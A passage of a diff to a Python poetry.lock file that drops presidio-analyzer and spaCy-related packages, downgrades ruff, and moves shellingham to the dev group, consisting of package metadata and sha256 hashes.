"preshed-3.0.10-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9fd7b350c280137f324cd447afbf6ba9a849af0e8898850046ac6f34010e08bd"}, - {file = "preshed-3.0.10-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:cf6a5fdc89ad06079aa6ee63621e417d4f4cf2a3d8b63c72728baad35a9ff641"}, - {file = "preshed-3.0.10-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:b4c29a7bd66985808ad181c9ad05205a6aa7400cd0f98426acd7bc86588b93f8"}, - {file = "preshed-3.0.10-cp311-cp311-win_amd64.whl", hash = "sha256:1367c1fd6f44296305315d4e1c3fe3171787d4d01c1008a76bc9466bd79c3249"}, - {file = "preshed-3.0.10-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:6e9c46933d55c8898c8f7a6019a8062cd87ef257b075ada2dd5d1e57810189ea"}, - {file = "preshed-3.0.10-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:5c4ebc4f8ef0114d55f2ffdce4965378129c7453d0203664aeeb03055572d9e4"}, - {file = "preshed-3.0.10-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6ab5ab4c6dfd3746fb4328e7fbeb2a0544416b872db02903bfac18e6f5cd412f"}, - {file = "preshed-3.0.10-cp312-cp312-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:40586fd96ae3974c552a7cd78781b6844ecb1559ee7556586f487058cf13dd96"}, - {file = "preshed-3.0.10-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:a606c24cda931306b98e0edfafed3309bffcf8d6ecfe07804db26024c4f03cd6"}, - {file = "preshed-3.0.10-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:394015566f9354738be903447039e8dbc6d93ba5adf091af694eb03c4e726b1e"}, - {file = "preshed-3.0.10-cp312-cp312-win_amd64.whl", hash = "sha256:fd7e38225937e580420c84d1996dde9b4f726aacd9405093455c3a2fa60fede5"}, - {file = "preshed-3.0.10-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:23e6e0581a517597f3f76bc24a4cdb0ba5509933d4f61c34fca49649dd71edf9"}, - {file = "preshed-3.0.10-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:574e6d6056981540310ff181b47a2912f4bddc91bcace3c7a9c6726eafda24ca"}, - {file = "preshed-3.0.10-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2bd658dd73e853d1bb5597976a407feafa681b9d6155bc9bc7b4c2acc2a6ee96"}, - {file = "preshed-3.0.10-cp313-cp313-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5b95396046328ffb461a68859ce2141aca4815b8624167832d28ced70d541626"}, - {file = "preshed-3.0.10-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:3e6728b2028bbe79565eb6cf676b5bae5ce1f9cc56e4bf99bb28ce576f88054d"}, - {file = "preshed-3.0.10-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:c4ef96cb28bf5f08de9c070143113e168efccbb68fd4961e7d445f734c051a97"}, - {file = "preshed-3.0.10-cp313-cp313-win_amd64.whl", hash = "sha256:97e0e2edfd25a7dfba799b49b3c5cc248ad0318a76edd9d5fd2c82aa3d5c64ed"}, - {file = "preshed-3.0.10-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:52f07d53a46510fe4d583272aa18ddb76904eb2fe58b534624e742a05be5f43e"}, - {file = "preshed-3.0.10-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:e5e41cdb12f43a27fa5f8f5d788aa8b3b6eb699434bb1e95d0da3d18727a5f8d"}, - {file = "preshed-3.0.10-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:60e93f8692d70597d19c59ef9b44e7e9def85a3060d3ff0f3629909bd996d9fa"}, - {file = "preshed-3.0.10-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:23fd32c1f3519d1811d02a13a98cd9e7601d4a65b23c61e5bbc80460f11d748e"}, - {file = "preshed-3.0.10-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:25b2a0f3737fbb05f488eef0e62f82ac6573122bffb5119833af463f00455342"}, - {file = "preshed-3.0.10-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:7ab8316d9aceb84d9e88e7cef48de92d0ad93f31cca8c91fbf98bc635a212707"}, - {file = "preshed-3.0.10-cp39-cp39-win_amd64.whl", hash = "sha256:a046e3070c8bdae7b7c888eca2d5a320f84406755ec6f20654b049f52b31eb51"}, - {file = "preshed-3.0.10.tar.gz", hash = "sha256:5a5c8e685e941f4ffec97f1fbf32694b8107858891a4bc34107fac981d8296ff"}, -] - -[package.dependencies] -cymem = ">=2.0.2,<2.1.0" -murmurhash = ">=0.28.0,<1.1.0" - -[[package]] -name = "presidio-analyzer" -version = "2.2.359" -description = "Presidio Analyzer package" -optional = false -python-versions = "<4.0,>=3.9" -groups = ["main"] -files = [ - {file = "presidio_analyzer-2.2.359-py3-none-any.whl", hash = "sha256:5f9a71ce5e484b1d9fd10a3f40ba37cb311deeb7cc25c3a87c0ba36b468ee26d"}, -] - -[package.dependencies] -phonenumbers = ">=8.12,<10.0.0" -pyyaml = "*" -regex = "*" -spacy = ">=3.4.4,<3.7.0 || >3.7.0,<4.0.0" -tldextract = "*" - -[package.extras] -azure-ai-language = ["azure-ai-textanalytics", "azure-core"] -gliner = ["gliner (>=0.2.13,<1.0.0) ; python_version >= \"3.10\"", "huggingface_hub", "onnxruntime (>=1.19) ; python_version >= \"3.10\"", "transformers"] -server = ["flask (>=1.1)", "gunicorn"] -stanza = ["stanza (>=1.10.1,<2.0.0)"] -transformers = ["accelerate", "huggingface_hub", "spacy_huggingface_pipelines", "transformers"] - [[package]] name = "proglog" version = "0.1.12" @@ -4294,21 +3900,6 @@ urllib3 = ">=1.21.1,<3" socks = ["PySocks (>=1.5.6,!=1.5.7)"] use-chardet-on-py3 = ["chardet (>=3.0.2,<6)"] -[[package]] -name = "requests-file" -version = "2.1.0" -description = "File transport adapter for Requests" -optional = false -python-versions = "*" -groups = ["main"] -files = [ - {file = "requests_file-2.1.0-py2.py3-none-any.whl", hash = "sha256:cf270de5a4c5874e84599fc5778303d496c10ae5e870bfa378818f35d21bda5c"}, - {file = "requests_file-2.1.0.tar.gz", hash = "sha256:0f549a3f3b0699415ac04d167e9cb39bccfb730cb832b4d20be3d9867356e658"}, -] - -[package.dependencies] -requests = ">=1.0.0" - [[package]] name = "rich" version = "14.1.0" @@ -4618,31 +4209,30 @@ files = [ [[package]] name = "ruff" -version = "0.12.9" +version = "0.11.13" description = "An extremely fast Python linter and code formatter, written in Rust." optional = false python-versions = ">=3.7" groups = ["dev"] files = [ - {file = "ruff-0.12.9-py3-none-linux_armv6l.whl", hash = "sha256:fcebc6c79fcae3f220d05585229463621f5dbf24d79fdc4936d9302e177cfa3e"}, - {file = "ruff-0.12.9-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:aed9d15f8c5755c0e74467731a007fcad41f19bcce41cd75f768bbd687f8535f"}, - {file = "ruff-0.12.9-py3-none-macosx_11_0_arm64.whl", hash = "sha256:5b15ea354c6ff0d7423814ba6d44be2807644d0c05e9ed60caca87e963e93f70"}, - {file = "ruff-0.12.9-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d596c2d0393c2502eaabfef723bd74ca35348a8dac4267d18a94910087807c53"}, - {file = "ruff-0.12.9-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:1b15599931a1a7a03c388b9c5df1bfa62be7ede6eb7ef753b272381f39c3d0ff"}, - {file = "ruff-0.12.9-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3d02faa2977fb6f3f32ddb7828e212b7dd499c59eb896ae6c03ea5c303575756"}, - {file = "ruff-0.12.9-py3-none-manylinux_2_17_ppc64.manylinux2014_ppc64.whl", hash = "sha256:17d5b6b0b3a25259b69ebcba87908496e6830e03acfb929ef9fd4c58675fa2ea"}, - {file = "ruff-0.12.9-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:72db7521860e246adbb43f6ef464dd2a532ef2ef1f5dd0d470455b8d9f1773e0"}, - {file = "ruff-0.12.9-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:a03242c1522b4e0885af63320ad754d53983c9599157ee33e77d748363c561ce"}, - {file = "ruff-0.12.9-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9fc83e4e9751e6c13b5046d7162f205d0a7bac5840183c5beebf824b08a27340"}, - {file = "ruff-0.12.9-py3-none-manylinux_2_31_riscv64.whl", hash = "sha256:881465ed56ba4dd26a691954650de6ad389a2d1fdb130fe51ff18a25639fe4bb"}, - {file = "ruff-0.12.9-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:43f07a3ccfc62cdb4d3a3348bf0588358a66da756aa113e071b8ca8c3b9826af"}, - {file = "ruff-0.12.9-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:07adb221c54b6bba24387911e5734357f042e5669fa5718920ee728aba3cbadc"}, - {file = "ruff-0.12.9-py3-none-musllinux_1_2_i686.whl", hash = "sha256:f5cd34fabfdea3933ab85d72359f118035882a01bff15bd1d2b15261d85d5f66"}, - {file = "ruff-0.12.9-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:f6be1d2ca0686c54564da8e7ee9e25f93bdd6868263805f8c0b8fc6a449db6d7"}, - {file = "ruff-0.12.9-py3-none-win32.whl", hash = "sha256:cc7a37bd2509974379d0115cc5608a1a4a6c4bff1b452ea69db83c8855d53f93"}, - {file = "ruff-0.12.9-py3-none-win_amd64.whl", hash = "sha256:6fb15b1977309741d7d098c8a3cb7a30bc112760a00fb6efb7abc85f00ba5908"}, - {file = "ruff-0.12.9-py3-none-win_arm64.whl", hash = "sha256:63c8c819739d86b96d500cce885956a1a48ab056bbcbc61b747ad494b2485089"}, - {file = "ruff-0.12.9.tar.gz", hash = "sha256:fbd94b2e3c623f659962934e52c2bea6fc6da11f667a427a368adaf3af2c866a"}, + {file = "ruff-0.11.13-py3-none-linux_armv6l.whl", hash = "sha256:4bdfbf1240533f40042ec00c9e09a3aade6f8c10b6414cf11b519488d2635d46"}, + {file = "ruff-0.11.13-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:aef9c9ed1b5ca28bb15c7eac83b8670cf3b20b478195bd49c8d756ba0a36cf48"}, + {file = "ruff-0.11.13-py3-none-macosx_11_0_arm64.whl", hash = "sha256:53b15a9dfdce029c842e9a5aebc3855e9ab7771395979ff85b7c1dedb53ddc2b"}, + {file = "ruff-0.11.13-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ab153241400789138d13f362c43f7edecc0edfffce2afa6a68434000ecd8f69a"}, + {file = "ruff-0.11.13-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:6c51f93029d54a910d3d24f7dd0bb909e31b6cd989a5e4ac513f4eb41629f0dc"}, + {file = "ruff-0.11.13-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1808b3ed53e1a777c2ef733aca9051dc9bf7c99b26ece15cb59a0320fbdbd629"}, + {file = "ruff-0.11.13-py3-none-manylinux_2_17_ppc64.manylinux2014_ppc64.whl", hash = "sha256:d28ce58b5ecf0f43c1b71edffabe6ed7f245d5336b17805803312ec9bc665933"}, + {file = "ruff-0.11.13-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:55e4bc3a77842da33c16d55b32c6cac1ec5fb0fbec9c8c513bdce76c4f922165"}, + {file = "ruff-0.11.13-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:633bf2c6f35678c56ec73189ba6fa19ff1c5e4807a78bf60ef487b9dd272cc71"}, + {file = "ruff-0.11.13-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4ffbc82d70424b275b089166310448051afdc6e914fdab90e08df66c43bb5ca9"}, + {file = "ruff-0.11.13-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:4a9ddd3ec62a9a89578c85842b836e4ac832d4a2e0bfaad3b02243f930ceafcc"}, + {file = "ruff-0.11.13-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:d237a496e0778d719efb05058c64d28b757c77824e04ffe8796c7436e26712b7"}, + {file = "ruff-0.11.13-py3-none-musllinux_1_2_i686.whl", hash = "sha256:26816a218ca6ef02142343fd24c70f7cd8c5aa6c203bca284407adf675984432"}, + {file = "ruff-0.11.13-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:51c3f95abd9331dc5b87c47ac7f376db5616041173826dfd556cfe3d4977f492"}, + {file = "ruff-0.11.13-py3-none-win32.whl", hash = "sha256:96c27935418e4e8e77a26bb05962817f28b8ef3843a6c6cc49d8783b5507f250"}, + {file = "ruff-0.11.13-py3-none-win_amd64.whl", hash = "sha256:29c3189895a8a6a657b7af4e97d330c8a3afd2c9c8f46c81e2fc5a31866517e3"}, + {file = "ruff-0.11.13-py3-none-win_arm64.whl", hash = "sha256:b4385285e9179d608ff1d2fb9922062663c658605819a6876d8beef0c30b7f3b"}, + {file = "ruff-0.11.13.tar.gz", hash = "sha256:26fa247dc68d1d4e72c179e08889a25ac0c7ba4d78aecfc835d49cbfd60bf514"}, ] [[package]] @@ -4706,34 +4296,13 @@ testing = ["h5py (>=3.7.0)", "huggingface-hub (>=0.12.1)", "hypothesis (>=6.70.2 testingfree = ["huggingface-hub (>=0.12.1)", "hypothesis (>=6.70.2)", "pytest (>=7.2.0)", "pytest-benchmark (>=4.0.0)", "safetensors[numpy]", "setuptools-rust (>=1.5.2)"] torch = ["safetensors[numpy]", "torch (>=1.10)"] -[[package]] -name = "setuptools" -version = "80.9.0" -description = "Easily download, build, install, upgrade, and uninstall Python packages" -optional = false -python-versions = ">=3.9" -groups = ["main"] -files = [ - {file = "setuptools-80.9.0-py3-none-any.whl", hash = "sha256:062d34222ad13e0cc312a4c02d73f059e86a4acbfbdea8f8f76b28c99f306922"}, - {file = "setuptools-80.9.0.tar.gz", hash = "sha256:f36b47402ecde768dbfafc46e8e4207b4360c654f1f3bb84475f0a28628fb19c"}, -] - -[package.extras] -check = ["pytest-checkdocs (>=2.4)", "pytest-ruff (>=0.2.1) ; sys_platform != \"cygwin\"", "ruff (>=0.8.0) ; sys_platform != \"cygwin\""] -core = ["importlib_metadata (>=6) ; python_version < \"3.10\"", "jaraco.functools (>=4)", "jaraco.text (>=3.7)", "more_itertools", "more_itertools (>=8.8)", "packaging (>=24.2)", "platformdirs (>=4.2.2)", "tomli (>=2.0.1) ; python_version < \"3.11\"", "wheel (>=0.43.0)"] -cover = ["pytest-cov"] -doc = ["furo", "jaraco.packaging (>=9.3)", "jaraco.tidelift (>=1.4)", "pygments-github-lexers (==0.0.5)", "pyproject-hooks (!=1.1)", "rst.linker (>=1.9)", "sphinx (>=3.5)", "sphinx-favicon", "sphinx-inline-tabs", "sphinx-lint", "sphinx-notfound-page (>=1,<2)", "sphinx-reredirects", "sphinxcontrib-towncrier", "towncrier (<24.7)"] -enabler = ["pytest-enabler (>=2.2)"] -test = ["build[virtualenv] (>=1.0.3)", "filelock (>=3.4.0)", "ini2toml[lite] (>=0.14)", "jaraco.develop (>=7.21) ; python_version >= \"3.9\" and sys_platform != \"cygwin\"", "jaraco.envs (>=2.2)", "jaraco.path (>=3.7.2)", "jaraco.test (>=5.5)", "packaging (>=24.2)", "pip (>=19.1)", "pyproject-hooks (!=1.1)", "pytest (>=6,!=8.1.*)", "pytest-home (>=0.5)", "pytest-perf ; sys_platform != \"cygwin\"", "pytest-subprocess", "pytest-timeout", "pytest-xdist (>=3)", "tomli-w (>=1.0.0)", "virtualenv (>=13.0.0)", "wheel (>=0.44.0)"] -type = ["importlib_metadata (>=7.0.2) ; python_version < \"3.10\"", "jaraco.develop (>=7.21) ; sys_platform != \"cygwin\"", "mypy (==1.14.*)", "pytest-mypy"] - [[package]] name = "shellingham" version = "1.5.4" description = "Tool to Detect Surrounding Shell" optional = false python-versions = ">=3.7" -groups = ["main", "dev"] +groups = ["dev"] files = [ {file = "shellingham-1.5.4-py2.py3-none-any.whl", hash = "sha256:7ecfff8f2fd72616f7481040475a65b2bf8af90a56c89140852d1120324e8686"}, {file = "shellingham-1.5.4.tar.gz", hash = "sha256:8dbca0739d487e5bd35ab3ca4b36e11c4078f3a234bfce294b0a0291363404de"}, @@ -4751,32 +4320,6 @@ files = [ {file = "six-1.17.0.tar.gz", hash = "sha256:ff70335d468e7eb6ec65b95b99d3a2836546063f63acc5171de367e834932a81"}, ] -[[package]] -name = "smart-open" -version = "7.3.0.post1" -description = "Utils for streaming large files (S3, HDFS, GCS, SFTP, Azure Blob Storage, gzip, bz2, zst...)" -optional = false -python-versions = "<4.0,>=3.8" -groups = ["main"] -files = [ - {file = "smart_open-7.3.0.post1-py3-none-any.whl", hash = "sha256:c73661a2c24bf045c1e04e08fffc585b59af023fe783d57896f590489db66fb4"}, - {file = "smart_open-7.3.0.post1.tar.gz", hash = "sha256:ce6a3d9bc1afbf6234ad13c010b77f8cd36d24636811e3c52c3b5160f5214d1e"}, -] - -[package.dependencies] -wrapt = "*" - -[package.extras] -all = ["smart_open[azure,gcs,http,s3,ssh,webhdfs,zst]"] -azure = ["azure-common", "azure-core", "azure-storage-blob"] -gcs = ["google-cloud-storage (>=2.6.0)"] -http = ["requests"] -s3 = ["boto3"] -ssh = ["paramiko"] -test = ["awscli", "moto[server]", "numpy", "pyopenssl", "pytest", "pytest-rerunfailures", "pytest_benchmark", "responses", "smart_open[all]"] -webhdfs = ["requests"] -zst = ["zstandard"] - [[package]] name = "sniffio" version = "1.3.1" @@ -4824,173 +4367,6 @@ files = [ {file = "soupsieve-2.7.tar.gz", hash = "sha256:ad282f9b6926286d2ead4750552c8a6142bc4c783fd66b0293547c8fe6ae126a"}, ] -[[package]] -name = "spacy" -version = "3.8.7" -description = "Industrial-strength Natural Language Processing (NLP) in Python" -optional = false -python-versions = "<3.14,>=3.9" -groups = ["main"] -files = [ - {file = "spacy-3.8.7-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:6ec0368ce96cd775fb14906f04b771c912ea8393ba30f8b35f9c4dc47a420b8e"}, - {file = "spacy-3.8.7-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:5672f8a0fe7a3847e925544890be60015fbf48a60a838803425f82e849dd4f18"}, - {file = "spacy-3.8.7-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:60cde9fe8b15be04eb1e634c353d9c160187115d825b368cc1975452dd54f264"}, - {file = "spacy-3.8.7-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d9cac8e58fb92fb1c5e06328039595fa6589a9d1403681266f8f5e454d15319c"}, - {file = "spacy-3.8.7-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:1456245a4ed04bc882db2d89a27ca1b6dc0b947b643bedaeaa5da11d9f7e22ec"}, - {file = "spacy-3.8.7-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:bb98f85d467963d17c7c660884069ba948bde71c07280c91ee3235e554375308"}, - {file = "spacy-3.8.7-cp310-cp310-win_amd64.whl", hash = "sha256:b0df50d69e6691e97eae228733b321971607dbbb799e59d8470f2e70b8b27a8e"}, - {file = "spacy-3.8.7-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:bdff8b9b556468a6dd527af17f0ddf9fb0b0bee92ee7703339ddf542361cff98"}, - {file = "spacy-3.8.7-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:9194b7cf015ed9b4450ffb162da49c8a9305e76b468de036b0948abdfc748a37"}, - {file = "spacy-3.8.7-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7dc38b78d48b9c2a80a3eea95f776304993f63fc307f07cdd104441442f92f1e"}, - {file = "spacy-3.8.7-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2e43bd70772751b8fc7a14f338d087a3d297195d43d171832923ef66204b23ab"}, - {file = "spacy-3.8.7-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:c402bf5dcf345fd96d202378c54bc345219681e3531f911d99567d569328c45f"}, - {file = "spacy-3.8.7-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:4234189861e486d86f1269e50542d87e8a6391a1ee190652479cf1a793db115f"}, - {file = "spacy-3.8.7-cp311-cp311-win_amd64.whl", hash = "sha256:e9d12e2eb7f36bc11dd9edae011032fe49ea100d63e83177290d3cbd80eaa650"}, - {file = "spacy-3.8.7-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:88b397e37793cea51df298e6c651a763e49877a25bead5ba349761531a456687"}, - {file = "spacy-3.8.7-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:f70b676955fa6959347ca86ed6edd8ff0d6eb2ba20561fdfec76924bd3e540f9"}, - {file = "spacy-3.8.7-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6c4b5a624797ade30c25b5b69daa35a93ee24bcc56bd79b0884b2565f76f35d6"}, - {file = "spacy-3.8.7-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d9d83e006df66decccefa3872fa958b3756228fb216d83783595444cf42ca10c"}, - {file = "spacy-3.8.7-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:0dca25deba54f3eb5dcfbf63bf16e613e6c601da56f91c4a902d38533c098941"}, - {file = "spacy-3.8.7-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:5eef3f805a1c118d9b709a23e2d378f5f20da5a0d6258c9cfdc87c4cb234b4fc"}, - {file = "spacy-3.8.7-cp312-cp312-win_amd64.whl", hash = "sha256:25d7a68e445200c9e9dc0044f8b7278ec0ef01ccc7cb5a95d1de2bd8e3ed6be2"}, - {file = "spacy-3.8.7-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:dda7d57f42ec57c19fbef348095a9c82504e4777bca7b8db4b0d8318ba280fc7"}, - {file = "spacy-3.8.7-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:de0e0bddb810ed05bce44bcb91460eabe52bc56323da398d2ca74288a906da35"}, - {file = "spacy-3.8.7-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5a2e58f92b684465777a7c1a65d5578b1dc36fe55c48d9964fb6d46cc9449768"}, - {file = "spacy-3.8.7-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:46330da2eb357d6979f40ea8fc16ee5776ee75cd0c70aac2a4ea10c80364b8f3"}, - {file = "spacy-3.8.7-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:86b6a6ad23ca5440ef9d29c2b1e3125e28722c927db612ae99e564d49202861c"}, - {file = "spacy-3.8.7-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:ccfe468cbb370888153df145ce3693af8e54dae551940df49057258081b2112f"}, - {file = "spacy-3.8.7-cp313-cp313-win_amd64.whl", hash = "sha256:ca81e416ff35209769e8b5dd5d13acc52e4f57dd9d028364bccbbe157c2ae86b"}, - {file = "spacy-3.8.7-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:be17d50eeade1cfdd743f532d594d2bb21da5788abfde61a7ed47b347d6e5b02"}, - {file = "spacy-3.8.7-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:fdff9526d3f79914c6eae8eb40af440f0085be122264df2ada0f2ba294be2b42"}, - {file = "spacy-3.8.7-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bdb15e6d22655479fdd55bf35b39459a753d68ba3fa5c339c8293925a9cd9012"}, - {file = "spacy-3.8.7-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e1406fde475900c8340c917c71b2e3e8077a027ce9b4d373315cee9dc37322eb"}, - {file = "spacy-3.8.7-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:f90d3a2b64323f89ef2cdfe3e4045dc63595ab7487d2ca3ea033aa69e25abf08"}, - {file = "spacy-3.8.7-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:6cc95942a233d70238b201f7429f7cd8fdd7802e29ccb629da20fe82699959b5"}, - {file = "spacy-3.8.7-cp39-cp39-win_amd64.whl", hash = "sha256:8bfa987aee76cd710197a02ec7a94663b83387c8707f542c11b3f721278cb4e1"}, - {file = "spacy-3.8.7.tar.gz", hash = "sha256:700fd174c6c552276be142c48e70bb53cae24c4dd86003c4432af9cb93e4c908"}, -] - -[package.dependencies] -catalogue = ">=2.0.6,<2.1.0" -cymem = ">=2.0.2,<2.1.0" -jinja2 = "*" -langcodes = ">=3.2.0,<4.0.0" -murmurhash = ">=0.28.0,<1.1.0" -numpy = {version = ">=1.19.0", markers = "python_version >= \"3.9\""} -packaging = ">=20.0" -preshed = ">=3.0.2,<3.1.0" -pydantic = ">=1.7.4,<1.8 || >1.8,<1.8.1 || >1.8.1,<3.0.0" -requests = ">=2.13.0,<3.0.0" -setuptools = "*" -spacy-legacy = ">=3.0.11,<3.1.0" -spacy-loggers = ">=1.0.0,<2.0.0" -srsly = ">=2.4.3,<3.0.0" -thinc = ">=8.3.4,<8.4.0" -tqdm = ">=4.38.0,<5.0.0" -typer = ">=0.3.0,<1.0.0" -wasabi = ">=0.9.1,<1.2.0" -weasel = ">=0.1.0,<0.5.0" - -[package.extras] -apple = ["thinc-apple-ops (>=1.0.0,<2.0.0)"] -cuda = ["cupy (>=5.0.0b4,<13.0.0)"] -cuda-autodetect = ["cupy-wheel (>=11.0.0,<13.0.0)"] -cuda100 = ["cupy-cuda100 (>=5.0.0b4,<13.0.0)"] -cuda101 = ["cupy-cuda101 (>=5.0.0b4,<13.0.0)"] -cuda102 = ["cupy-cuda102 (>=5.0.0b4,<13.0.0)"] -cuda110 = ["cupy-cuda110 (>=5.0.0b4,<13.0.0)"] -cuda111 = ["cupy-cuda111 (>=5.0.0b4,<13.0.0)"] -cuda112 = ["cupy-cuda112 (>=5.0.0b4,<13.0.0)"] -cuda113 = ["cupy-cuda113 (>=5.0.0b4,<13.0.0)"] -cuda114 = ["cupy-cuda114 (>=5.0.0b4,<13.0.0)"] -cuda115 = ["cupy-cuda115 (>=5.0.0b4,<13.0.0)"] -cuda116 = ["cupy-cuda116 (>=5.0.0b4,<13.0.0)"] -cuda117 = ["cupy-cuda117 (>=5.0.0b4,<13.0.0)"] -cuda11x = ["cupy-cuda11x (>=11.0.0,<13.0.0)"] -cuda12x = ["cupy-cuda12x (>=11.5.0,<13.0.0)"] -cuda80 = ["cupy-cuda80 (>=5.0.0b4,<13.0.0)"] -cuda90 = ["cupy-cuda90 (>=5.0.0b4,<13.0.0)"] -cuda91 = ["cupy-cuda91 (>=5.0.0b4,<13.0.0)"] -cuda92 = ["cupy-cuda92 (>=5.0.0b4,<13.0.0)"] -ja = ["sudachidict_core (>=20211220)", "sudachipy (>=0.5.2,!=0.6.1)"] -ko = ["natto-py (>=0.9.0)"] -lookups = ["spacy_lookups_data (>=1.0.3,<1.1.0)"] -th = ["pythainlp (>=2.0)"] -transformers = ["spacy_transformers (>=1.1.2,<1.4.0)"] - -[[package]] -name = "spacy-legacy" -version = "3.0.12" -description = "Legacy registered functions for spaCy backwards compatibility" -optional = false -python-versions = ">=3.6" -groups = ["main"] -files = [ - {file = "spacy-legacy-3.0.12.tar.gz", hash = "sha256:b37d6e0c9b6e1d7ca1cf5bc7152ab64a4c4671f59c85adaf7a3fcb870357a774"}, - {file = "spacy_legacy-3.0.12-py2.py3-none-any.whl", hash = "sha256:476e3bd0d05f8c339ed60f40986c07387c0a71479245d6d0f4298dbd52cda55f"}, -] - -[[package]] -name = "spacy-loggers" -version = "1.0.5" -description = "Logging utilities for SpaCy" -optional = false -python-versions = ">=3.6" -groups = ["main"] -files = [ - {file = "spacy-loggers-1.0.5.tar.gz", hash = "sha256:d60b0bdbf915a60e516cc2e653baeff946f0cfc461b452d11a4d5458c6fe5f24"}, - {file = "spacy_loggers-1.0.5-py3-none-any.whl", hash = "sha256:196284c9c446cc0cdb944005384270d775fdeaf4f494d8e269466cfa497ef645"}, -] - -[[package]] -name = "srsly" -version = "2.5.1" -description = "Modern high-performance serialization utilities for Python" -optional = false -python-versions = "<3.14,>=3.9" -groups = ["main"] -files = [ - {file = "srsly-2.5.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:d0cda6f65cc0dd1daf47e856b0d6c5d51db8a9343c5007723ca06903dcfe367d"}, - {file = "srsly-2.5.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:cf643e6f45c266cfacea54997a1f9cfe0113fadac1ac21a1ec5b200cfe477ba0"}, - {file = "srsly-2.5.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:467ed25ddab09ca9404fda92519a317c803b5ea0849f846e74ba8b7843557df5"}, - {file = "srsly-2.5.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = 